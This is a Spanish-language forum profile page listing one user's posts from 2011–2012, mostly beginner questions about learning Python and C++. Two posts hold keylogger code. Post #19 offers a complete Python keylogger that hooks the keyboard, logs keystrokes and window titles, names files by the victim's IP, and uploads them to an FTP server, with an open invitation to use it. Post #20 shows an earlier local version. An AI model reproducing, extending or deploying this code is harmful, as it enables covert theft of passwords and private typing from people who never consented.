Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Fyrox

#11
Programación C/C++ / Re: Nuevo en C++
20 Julio 2012, 00:06 AM
En C no hay objetos ni clases?
#12
Programación C/C++ / Re: Nuevo en C++
19 Julio 2012, 23:56 PM
Muchas gracias! Pinta bastante bien el manual, este sí que me ha gustado. Una pena que sea de C,  ya que parece haber algunas diferencias importantes con respecto a C++. Será esto un problema?
#13
Programación C/C++ / Re: Nuevo en C++
19 Julio 2012, 23:17 PM
Muchas gracias por tu ayuda, pero la verdad es que ya había visto esas páginas y no me han gustado mucho por como estan redactadas. Busco algo lo más ameno posible de leer. Alguna sugerencia?
#14
Programación C/C++ / Nuevo en C++
18 Julio 2012, 01:20 AM
Saludos, después de estar aprendiendo un poco de Python por mi cuenta (gracias al magnífico manual de mundogeek) me he decidido a empezar con C++.

Sin embargo, no encuentro realmente ningún libro/tutorial que me guste demasiado para aprender. Busco algo como el de python de mundogeek, que te explique lo básico, sin enrollarse demasiado, y que esté bastante claro. Esto último lo digo porque ya me he encontrado con el tema del cout y el printf, y supongo que también cambiarán otras muchás cosas conforme vaya avanzando.

En definitiva lo que busco es algún libro o pdf que te explique lo básico de C++, para poder ir haciendo mis cosillas. Un saludo.
#15
Scripting / Re: [Python] N00b.
27 Octubre 2011, 23:07 PM
Es con el que yo empecé a programar. Aún no soy un experto, pero gracias a él me defiendo bien en el lenguaje. Mucha suerte, y sobre todo ganas de programar :P
#16
Scripting / Re: PYTHON
27 Octubre 2011, 23:05 PM
Creo que en Python no se ponen paréntesis en los condicionales, aquí te dejo el código arreglado y con una línea menos, ya que a raw_input se le puede añadir un texto a imprimir:

Código (python) [Seleccionar]
num = int(raw_input('Ingrese un numero: '))

if num % 2 == 0:
    print 'El numero', num,' es par '
else:
    print 'El numero ',num,' es impar'


Como guía para iniciarte, te recomiendo esta. Mucha suerte y sobre todo no desesperes.
#17
Scripting / Re: [Python] N00b.
22 Octubre 2011, 18:03 PM
Mirate esta guia, con eso y un poco de paciencia te puedes iniciar bastante bien en Python: http://mundogeek.net/tutorial-python/
#18
Scripting / Como seguir en Python
25 Septiembre 2011, 23:19 PM
Saludos, llevo ya algún tiempo programando en Python (cosa de un mes o así) y ya estoy acabando la guía de Raúl González Duque, muy buena por cierto. Mi pregunta es la siguiente: ¿cómo puedo seguir aprendiendo ahora? Es el primer lenguaje de programación que aprendo, y la verdad no sé que hacer ahora. ¿debería comprarme un libro? ¿alguno en especial? No me importa mucho el idioma, aunque si es en español, mejor que mejor. Gracias de antemano.

Fyrox
#19
Scripting / [Python] Kaley, Keylogger simple en Python
21 Septiembre 2011, 23:24 PM
Saludos, después de un tiempecillo programando en Python, al fin me he decidido a crear un Keylogger. Como no llevo mucho tiempo programando, lo subo aquí para que aportéis ideas/mejores formas de codear determinadas cosas en Python, además de para que lo uséis si queréis.
Código (python) [Seleccionar]
# coding= utf-8
import pythoncom, pyHook, ftplib, urllib, datetime, time, thread, os

class Kaley:
   def __init__(self):
       self.current_window = None
       self.namefile = str(self.getIP()) + " - " + str(self.getDate()) + ".txt"
       self.f = ftplib.FTP("server")
       self.f.login("user", "pass")
       self.f.cwd("/html/kaley")
       self.run = False
       
   def getIP(self):
       url = urllib.URLopener()
       resp = url.open("http://automation.whatismyip.com/n09230945.asp")
       html = resp.read(114)
       return html

   def getDate(self):
       now = datetime.datetime.now()
       return now.strftime("%Y-%m-%d")
       
   def write(self, text):
       file = open(self.namefile, "a")
       file.write(text)
       file.close()
       if self.run == False:
           thread.start_new_thread(self.upload, ())
       
   def upload(self):
       self.run = True
       time.sleep(5)
       self.f.storbinary("STOR " + self.namefile, open(self.namefile, "rb"))
       self.run = False
                               
   def stroke(self, event):
       if event.WindowName != self.current_window:
           self.write("\n" + event.WindowName + "\n")
           self.current_window = event.WindowName
       if event.Ascii == 32 or event.Ascii == 9:
            self.write(" ")
       elif event.Ascii == 241 or event.Ascii == 209:
           self.write("Ñ")
       elif event.Ascii == 13:
           self.write("\n")
       else:
           self.write(event.Key)
       
log = Kaley()
ph = pyHook.HookManager()
ph.KeyDown = log.stroke
ph.HookKeyboard()
pythoncom.PumpMessages()


Como podéis ver, os hacen falta las librerias pyHook para ejecutarlos.

Fyrox
#20
Scripting / [Python] print solo si cambia la variable
18 Septiembre 2011, 01:12 AM
Buenas de nuevo, esta vez mas que un error traigo una duda sobre un programilla que estoy intentando hacer. Veréis. me he lanzado a hacer un pequeño keylogger local muy muy básico (de momento, ya lo ampliare) con el modulo pyHook. Aquí esta:

Código (python) [Seleccionar]
import pythoncom, pyHook

def strokes(event):
   print event.WindowName
   print event.Key

hm = pyHook.HookManager()
hm.KeyDown = strokes
hm.HookKeyboard()
pythoncom.PumpMessages()


Bien, este pequeño keylogger hace que cada vez que se pulse una tecla imprima en el programa el nombre de la ventana y la tecla. Esto queda bastante mal a la hora de leer lo que se ha escrito, ya que se escribiria el nombre de la ventana por cada tecla que se pulsase. Para solucionarlo, lo que quiero hacer es que imprima el nombre de la ventana, la tecla pulsada, y luego solamente imprima de nuevo el nombre de la ventana si esta cambia, no se si me explico.

Por ejemplo: escribes "facebook" en google, por lo que el nombre de la ventana seria "Google". A partir de ahi, quiero que solamente vuelva a escribir el nombre de la ventana si deja de ser "Google" para ser "Facebook" por ejemplo. Gracias de antemano.